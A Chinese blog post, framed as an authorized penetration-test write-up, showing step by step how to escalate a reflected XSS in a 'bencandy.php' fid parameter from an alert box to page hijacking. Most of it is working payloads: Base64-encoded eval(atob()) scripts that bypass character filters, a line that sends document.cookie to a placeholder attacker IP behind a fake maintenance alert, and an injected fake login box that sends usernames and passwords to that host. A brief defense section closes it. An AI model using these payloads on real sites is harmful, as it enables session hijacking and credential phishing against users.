当前位置: 首页 > news >正文

反射型 XSS 漏洞从弹窗到劫持页面的进阶利用实战

反射型 XSS 漏洞从弹窗到劫持页面的进阶利用实战

一、前言

跨站脚本攻击(XSS)作为 OWASP Top 10 的常客,常被新手理解为“弹个框证明存在即可”。但在真实攻防场景中,XSS 的危害远不止alert(1)。本文将以某次授权的渗透测试为例,详细记录如何从一个反射型 XSS 入手,逐步突破过滤限制,实现自定义图片弹窗、页面劫持钓鱼、Cookie 窃取等高阶利用。文章将提供完整的 Payload 构造思路及绕过技巧,希望能帮助安全从业者深入理解 XSS 的实际威力。

⚠️ 郑重声明:文中所有技术仅供安全研究与已获授权的测试使用,任何未授权测试均属违法行为,后果自负。

二、漏洞发现

在对某 Web 应用进行测试时,发现其文章浏览页面bencandy.phpfid参数疑似存在反射型 XSS。原始请求如下:

http

GET /bencandy.php?fid=101&<script>alert`64226`</script>'"!@$=683 HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 ... Cookie: USR=...

访问后页面弹出数字64226,确认存在反射型 XSS,注入点为fid参数,输出位置在 HTML 标签内部,可直接执行 JavaScript 代码。

三、从文字弹窗到自定义内容

3.1 修改弹出文字

原始 Payload 使用 ES6 标签模板字符串语法:

html

<script>alert`64226`</script>

若要将弹窗内容改为“黑客万岁”或“山东菏泽666”,只需替换反引号内的文字,并做 URL 编码即可。示例请求:

http

GET /bencandy.php?fid=101&<script>alert`%E9%BB%91%E5%AE%A2%E4%B8%87%E5%B2%81`</script>'"!@$=683 HTTP/1.1 Host: www.example.com ...

其中%E9%BB%91%E5%AE%A2%E4%B8%87%E5%B2%81是“黑客万岁”的 UTF-8 编码,以此类推

3.2 原生 alert 的局限

alert()只能弹出纯文本,无法显示图片、表单等丰富内容。要突破这一限制,我们需要注入任意 HTML/JS 代码,构造自定义模态框。

四、进阶利用:构造自定义浮窗

4.1 思路

直接在 URL 中嵌入复杂 HTML 代码会遇到特殊字符(引号、尖括号)截断问题。这里采用Base64 编码 + eval(atob())的方式,将攻击脚本编码为纯字母数字,执行时再解码,完美绕过特殊字符限制。

原始脚本如下:

javascript

var d=document.createElement('div'); d.innerHTML='<div style="position:fixed;top:20%;left:20%;background:white;padding:20px;border:3px solid red;z-index:9999"><img src="https://picsum.photos/400/300"><br><button οnclick="this.parentNode.parentNode.remove()">关闭</button></div>'; document.body.appendChild(d);

将该脚本进行 Base64 编码,然后放入eval(atob())中执行。编码后的 Payload 为:

text

dmFyIGQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7ZC5pbm5lckhUTUw9JzxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkO3RvcDoyMCU7bGVmdDoyMCU7YmFja2dyb3VuZDp3aGl0ZTtwYWRkaW5nOjIwcHg7Ym9yZGVyOjNweCBzb2xpZCByZWQ7ei1pbmRleDo5OTk5Ij48aW1nIHNyYz0iaHR0cHM6Ly9waWNzdW0ucGhvdG9zLzQwMC8zMDAiPjxicj48YnV0dG9uIG9uY2xpY2s9InRoaXMucGFyZW50Tm9kZS5wYXJlbnROb2RlLnJlbW92ZSgpIj7lhbPpl608L2J1dHRvbj48L2Rpdj4nO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoZCk7

完整请求包:

http

GET /bencandy.php?fid=101&<script>eval(atob(`dmFyIGQ9...`))</script>'"!@$=683 HTTP/1.1 Host: www.example.com ...

页面会弹出一个可关闭的红色边框浮窗,内嵌随机图片,彻底告别枯燥的alert

4.2 调整图片尺寸

通过修改脚本中图片的width属性或直接更换图片 URL 参数,可以控制弹窗大小。例如想要显示 1600×900 的图片,只需将src替换为对应的 picsum 链接,或将任意图片 URL 编码后重新生成 Base64 字符串即可。若希望图片强制放大,可添加width="800"属性:

javascript

...<img src="..." width="800">...

4.3 更换为自定义图片

将脚本中的图片链接换成任意网络图片,例如一张钓鱼横幅,然后重新 Base64 编码。笔者测试时使用了如下链接:

text

https://www.bing.com/th/id/OIP.eFMDsnF39jUb3B5kRrg_4AHaEH?w=193&h=135&...

再次编码后注入,即可在目标页面弹出任意图片。

五、更高级的利用:窃取 Cookie 与钓鱼框

5.1 窃取 Cookie 并伪装正常弹窗

javascript

new Image().src='http://攻击者IP/log?cookie='+encodeURIComponent(document.cookie); alert('系统维护中,请稍后重试…');

将上述代码 Base64 编码后通过同样的eval(atob())注入,受害者 Cookie 将被悄悄外传,而眼前只会看到一个“系统维护”的假提示,毫无察觉。

5.2 钓鱼登录框

注入一个仿真的登录框,诱骗用户输入凭据并回传:

javascript

document.body.innerHTML='<div style="position:fixed;top:30%;left:30%;background:#eee;padding:30px;border:2px solid #999;z-index:10000"><h3>会话已过期</h3><input id="u" placeholder="账号"><br><input id="p" type="password" placeholder="密码"><br><button οnclick="new Image().src=`http://攻击者IP/log?u=`+encodeURIComponent(u.value)+`&p=`+encodeURIComponent(p.value);alert(`登录失败`)">登录</button></div>';

同样 Base64 化后注入,即可在页面中弹出钓鱼框,输入内容实时回传。

六、防御建议

  1. 输入验证与输出编码:对用户输入进行严格的白名单校验,在输出到 HTML 时根据上下文进行实体编码。

  2. 使用 CSP (Content Security Policy):配置严格的 CSP 策略,禁止执行内联脚本和未经授权的远程资源。

  3. HttpOnly Cookie:为所有敏感 Cookie 设置 HttpOnly 属性,防止 JavaScript 读取。

  4. WAF 规则强化:部署能够识别 Base64 混淆、参数污染等高级绕过技术的 WAF,并结合 RASP 进行运行时防护。

  5. 安全开发培训:让开发人员理解 XSS 的危害不止于弹窗,从而在编码阶段主动防御。

七、总结

本文从一次简单的反射型 XSS 出发,逐步展示了如何通过Base64 混淆、eval(atob()) 动态执行等技术,绕过特殊字符限制,实现自定义图片弹窗、Cookie 窃取、钓鱼登录等高阶利用。XSS 漏洞一旦被成功利用,可导致用户信息泄露、会话劫持甚至配合 CSRF 进行更复杂的攻击。因此,企业应将 XSS 视为高危漏洞,从代码层、网络层、浏览器层多维度构建纵深防御体系。

希望本文能帮助读者重新认识 XSS 的真正威力,在授权测试中更加深入挖掘,在防御建设中更加有的放矢。


版权声明:本文为原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

http://www.jsqmd.com/news/826757/

相关文章:

  • AI Agent技能化开发:从标准化接口到生产级应用实践
  • 技术干货!!DeepSeek API 实战:从零到生产级的 Python 调用指南 — 流式、Function Calling、多轮对话、成本优化全覆盖
  • 第一次喝精酿怎么品
  • 基于LLM的MUD游戏AI智能体框架:从感知-思考-行动循环到工程实践
  • 初创团队如何利用Taotoken低成本启动AI功能并灵活扩展
  • 论文AI率太高怎么破?实测高效降AI工具汇总
  • Godot高性能弹幕系统:数据驱动与批处理渲染实战
  • 嵌入式UI自定义符号字体:手动编码Adafruit GFX字体实战指南
  • 2026年牵手红娘服务权威推荐深度分析:破解婚恋市场高成本低效率痛点 - 品牌推荐
  • 基础教程通过Taotoken CLI一键配置开发环境与API密钥
  • 从系统光标到个性化指针:动漫主题鼠标指针的完整实现指南
  • 构建多模型容灾策略以保障线上AI服务高可用
  • 2026年整木定制品牌企业推荐,性价比高的有哪些 - 工业推荐榜
  • 如何快速配置空洞骑士模组:Scarab模组管理器完整入门指南
  • PlantUML Editor:5分钟学会用代码绘制专业UML图的终极工具
  • 对比直接采购Taotoken的Token Plan套餐有何成本优势
  • Kimi代码授权与自动化工具:逆向工程与协议模拟实践
  • AI编程规则引擎设计:为Cursor等智能编辑器制定可控开发规范
  • 2026年深圳建筑模板批发:十大品牌最新榜单揭晓
  • DIY便携设备电源系统实战:从电池选型到调试全攻略
  • YOLO26缝合A2-Nets注意力:双重注意力机制在复杂遮挡场景的奇效
  • 5步快速修复损坏二维码:QrazyBox终极指南让数据恢复变得简单
  • 基于CircuitPython与asyncio的嵌入式异步编程实战:复刻经典记忆游戏
  • 从AwesomeCursorPrompt看提示工程:构建高效AI编程协作工作流
  • Docker 部署 SpringBoot 项目超详细教程
  • 中文提示词仓库:提升AI对话效率的结构化方法与工程实践
  • 基于Rust与WebGPU的本地大模型推理服务器:Ai00 Server部署与应用指南
  • IO模型详解
  • Slack式智能光标:重构IDE代码导航,告别上下文丢失
  • AI编码助手增强:Cursor-Sisyphus智能审查工作流实战